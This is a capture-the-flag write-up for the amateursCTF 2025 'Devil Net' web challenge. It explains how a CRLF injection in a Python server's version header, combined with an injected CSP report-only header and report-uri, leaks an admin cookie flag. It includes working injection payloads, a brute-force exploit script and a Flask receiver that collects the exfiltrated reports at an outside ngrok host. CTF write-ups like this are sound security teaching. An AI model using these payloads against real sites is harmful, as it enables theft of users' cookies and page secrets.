---
# System prepended metadata

title: Devilnet Amateurs CTF 2025 Writeup

---

# Devilnet Amateurs CTF 2025 Writeup

🖊️Author: DJumanto
🛡️Team: HCS
📖Note: This Writeup contains solver for Devil Net challenge in amateurs CTF 2025

---

## TL;DR

This writeup explains how we were able to predict client-side content through a CRLF injection vector combined with the ``report-uri`` CSP directive.

---

## Summary

* **Vulnerabilities:** CRLF Injection, XS-Leaks.
* **Target:** Read the flag in the admin page

---

## The App

In this challenge, we're given an application with a single ``web.py`` file.

web.py
```py
#!/usr/bin/env python3
import base64, logging, sys, os, time
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from http.cookies import SimpleCookie


from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service


flag = os.getenv("FLAG", "amateursCTF{t3st_f14g}") # charset: a-z{}
binary_location = os.environ.get("CHROME_BIN", "/usr/bin/chromium")
service_location = os.environ.get("CHROMEDRIVER", "/usr/bin/chromedriver")

# Teemo website
template = """<html>
<head>
    <title>Teemo Scout</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <h1>Welcome to the Teemo Scout</h1>
    <p>Use this service to scout for Teemo's hidden zones.</p>
    <p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
    <p>Example: <code>/scout?content=HelloTeemo</code></p>
    <p>Happy scouting!</p>
    <p>
    <flag>
    <replaceme>
    </p>
</body>
</html>
"""


class TeemoScoutHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_url = urlparse(self.path)
        path = parsed_url.path
        params = parse_qs(parsed_url.query)
        if path == '/bot':
            return self.handle_bot(params)

        parsed    = urlparse(self.path)
        content    = parse_qs(parsed.query).get('content', [""])[0]

        scout_out = 'deadbeef' + content
        if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
            scout_out = 'invalid content'

        self.server_version = f"TeemoNet/v2"
        self.sys_version    = f'{scout_out}'

        self.send_response(200)
        self.send_header('Content-Type', 'text/html; charset=utf-8')

        cookies = SimpleCookie(self.headers.get('Cookie', ''))
        stuff = cookies.get('FLAG', None)
        body = template.replace("<flag>", stuff.value if stuff else "")
        body = body.replace("<replaceme>", scout_out)
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body.encode())

    def handle_bot(self, params):
        print(f"[+] Bot requested to visit URL with params: {params}", file=sys.stderr)
        try:
            address = params.get('address', ['uhm'])[0]
            data = base64.b64decode(address).decode()
            
            url = f"http://127.0.0.1:9192/scout?content={data}"
            print(f"[+] Visiting {url}", file=sys.stderr)
            
            options = Options()
            options.add_argument("--headless")
            options.add_argument("--no-sandbox")
            options.add_argument("--disable-dev-shm-usage")  # helps in Docker
            options.binary_location = binary_location
            service = Service(service_location)
            driver = webdriver.Chrome(service=service, options=options)
            print("[-] Chrome WebDriver started", file=sys.stderr)
            
            driver.get('http://127.0.0.1:9192/void')
            driver.add_cookie({'name':'FLAG','value': flag})
            print(f"[-] Visiting URL {url}", file=sys.stderr)
            driver.get(url)
            driver.implicitly_wait(5)
            time.sleep(3)
            driver.quit()
            print(f"[-] Done visiting {url}", file=sys.stderr)

            self.send_response(302)
            self.send_header('Location', 'http://127.0.0.1:9192/')
            self.send_header('Content-Length','0')
            self.end_headers()
        except Exception as e:
            print(e, file=sys.stderr)
            self.send_response(400)
            self.send_header('Content-Length','0')
            self.end_headers()


if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    port = 9192
    logging.info(f"Teemo Scout server listening on {port}")
    HTTPServer(("0.0.0.0", port), TeemoScoutHandler).serve_forever()
```

So our primary target is pretty straight forward, the cookie of admin is embbeded in content replacing the ``<flag>`` and our ``content`` data is placed right in the system version and ``<replaceme>`` section

> *Set the flag content*
```python
        cookies = SimpleCookie(self.headers.get('Cookie', ''))
        stuff = cookies.get('FLAG', None)
        body = template.replace("<flag>", stuff.value if stuff else "")
```

> *Set content to sys version and \<replaceme> section
```python
        parsed    = urlparse(self.path)
        content    = parse_qs(parsed.query).get('content', [""])[0]

        scout_out = 'deadbeef' + content
        if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
            scout_out = 'invalid content'

        self.server_version = f"TeemoNet/v2"
        self.sys_version    = f'{scout_out}'

        ...
        
        body = body.replace("<replaceme>", scout_out)
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
```

Pretty straightforward right? let's fire up our docker and see the request and response.

![Screenshot 2025-11-19 213908](https://hackmd.io/_uploads/HktOwuog-x.png)

As we can see, the CSP policy is highly restrictive, setting most sources to 'none'. This prevents traditional script injection and rules out straightforward XSS exploitation. So the question becomes: how can we still retrieve the flag under this constraint?

---

## CRLF Injection

In the system version processing, there's clearly a CRLF Injection, this can be checked by inputting our content with ``?content=beefdead%0d%0aAlamak:%20Test123``

```python
        self.server_version = f"TeemoNet/v2"
        self.sys_version    = f'{scout_out}'
```

![Screenshot 2025-11-19 214544](https://hackmd.io/_uploads/SyqPPOolZl.png)

---

## XS-Leaks with report-uri

Next, what can we do with the restrictive CSP? since we can't attempt an XSS or CSS injection. The description of the challenge give us this:

> *HINT: Teemo’s CSP scouts are too secure... In fact, they are so safe that sometimes they even report what they saw.*

We can take advantage of the ``report-uri`` CSP directive to trigger and exfiltrate CSP violation reports to our server.

Initially, I considered using report-sample to leak content that violates ``style-src``, but the flag is located too deep within the response, making this approach insufficient for full extraction.

Instead, we inject a custom ``Content-Security-Policy-Report-Only`` header via CRLF injection:

```
?content=%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>
```

This forces the browser to apply our modified CSP rules, rendering the injected ``<style>`` block and triggering a Subresource Integrity (SRI) violation. The violation is then sent to our server as a CSP report:

![Screenshot 2025-11-19 220638](https://hackmd.io/_uploads/SyxDPdiebe.png)

Since we only need to leak the flag content, we limit the HTTP response payload using a Content-Length header. For testing and to identify the correct offset, I temporarily replaced the ``<flag>`` portion with a local placeholder. Fast forward, because we already know that the format is ``amateursCTF{``, we set the content length starts from 528

```
?content=%0D%0AContent-Length:%20528%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>
```

![image](https://hackmd.io/_uploads/Hkc7wuig-x.png)


The main challenge now is that we do not know the server’s ``Content-Length`` value, meaning the size of the flag may vary. Because of this, we must first brute-guess the correct ``Content-Length`` value before we can proceed with leaking the flag.

The script below automates the process. It is not particularly fast, but it is sufficient to enumerate the correct length and ultimately retrieve the flag.

---

## Exploit POC
automate.py
```python
import hashlib
import base64
from urllib.parse import quote, unquote
import requests

chars = "}abcdefghijklmnopqrstuvwxyz"
POLL_SERVER = "http://0.tcp.ap.ngrok.io:15847"
FLAG_LEN = ""

dataLen = """
Content-Type: text/html; charset=utf-8
Content-Length: {}"""

for i in range(66,69):
    for j in range(0,10):
        temp = dataLen.format(FLAG_LEN+str(j))
        print(FLAG_LEN+str(j))
        h = hashlib.sha256(temp.encode("utf-8")).digest()
        b64 = base64.b64encode(h).decode("utf-8")
        sha = f"sha256-{quote(b64)}"
        print(sha)
        target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
        info = base64.b64encode(target.encode()).decode()
        print(f"request with number {j}")
        resp = requests.get("http://localhost:9192/bot?address="+quote(info))
        resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
        if(str(j) in resp.text):
            print(f"We got the Length: {FLAG_LEN+str(j)}")
            FLAG_LEN += str(j)
            requests.get(f"{POLL_SERVER}/reset")
            break

FLAG_LEN = int(FLAG_LEN)+1
print(f"Flag Length: {FLAG_LEN}")
data = """
Content-Type: text/html; charset=utf-8
Content-Length: {}

<html>
<head>
    <title>Teemo Scout</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <h1>Welcome to the Teemo Scout</h1>
    <p>Use this service to scout for Teemo's hidden zones.</p>
    <p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
    <p>Example: <code>/scout?content=HelloTeemo</code></p>
    <p>Happy scouting!</p>
    <p>
    {}"""


FLAG = "amateursCTF{"

for i in range(528,540):
    for j in chars:
        temp = data.format(FLAG_LEN,FLAG+j)
        h = hashlib.sha256(temp.encode("utf-8")).digest()
        b64 = base64.b64encode(h).decode("utf-8")
        sha = f"sha256-{quote(b64)}"
        print(sha)
        target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
        info = base64.b64encode(target.encode()).decode()
        print(f"request with char {FLAG+j}")
        resp = requests.get("http://localhost:9192/bot?address="+quote(info))
        resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
        if(j in resp.text):
            print(f"We got the flag char: {j}")
            FLAG += j
            if j == "}":
                print(f"Flag Recovered: {FLAG}")
                exit()
            requests.get(f"{POLL_SERVER}/reset")
            break
```

reciever.py
```python
from flask import Flask, request

app = Flask(__name__)
VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"

@app.route("/", methods=["GET", "POST"])
def index():
    global VALID_CHAR
    char_id = request.args.get("char")
    VALID_CHAR = VALID_CHAR.replace(char_id,"")
    print(f"char left: {VALID_CHAR}")
    return "OK"

@app.route("/reset", methods=["GET"])
def reset():
    global VALID_CHAR
    VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"
    return "OK"

@app.route("/getFlagIndex", methods=["GET"])
def getFlag():
    return VALID_CHAR

if __name__ == "__main__":
    app.run(port=9999, host="0.0.0.0")
```

---

## References

* https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-uri.
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy-Report-Only.

---

